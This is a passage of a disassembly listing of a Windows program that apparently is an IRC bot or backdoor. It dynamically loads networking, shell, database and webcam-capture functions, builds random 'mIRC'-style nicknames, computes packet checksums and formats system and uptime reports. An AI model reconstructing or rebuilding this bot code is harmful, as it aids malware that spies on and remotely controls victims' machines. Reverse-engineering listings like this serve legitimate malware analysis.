ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j nop call near ptr 26B0669h mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj nop call near ptr 26B0669h mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j nop call near ptr 26B0669h mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j nop call near ptr 26B0669h mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043320Co ; ___:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D920o arg_0 = dword ptr 4 push esi push edi call near ptr 26C0589h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 90h dd 2B5A68E8h, 91E85002h, 8B000117h, 0C710247Ch, 91382404h dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h dd 429098h, 0C78BDA7Ch ; --------------------------------------------------------------------------- pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26C0589h push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26C0589h push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi nop call near ptr 26F0000h movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26C0589h push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 2700000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h nop call near ptr 2700552h call near ptr 26C0589h nop push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26C0589h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h nop call near ptr 2700552h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j nop call near ptr 26C0589h push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call near ptr 2700000h nop lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, 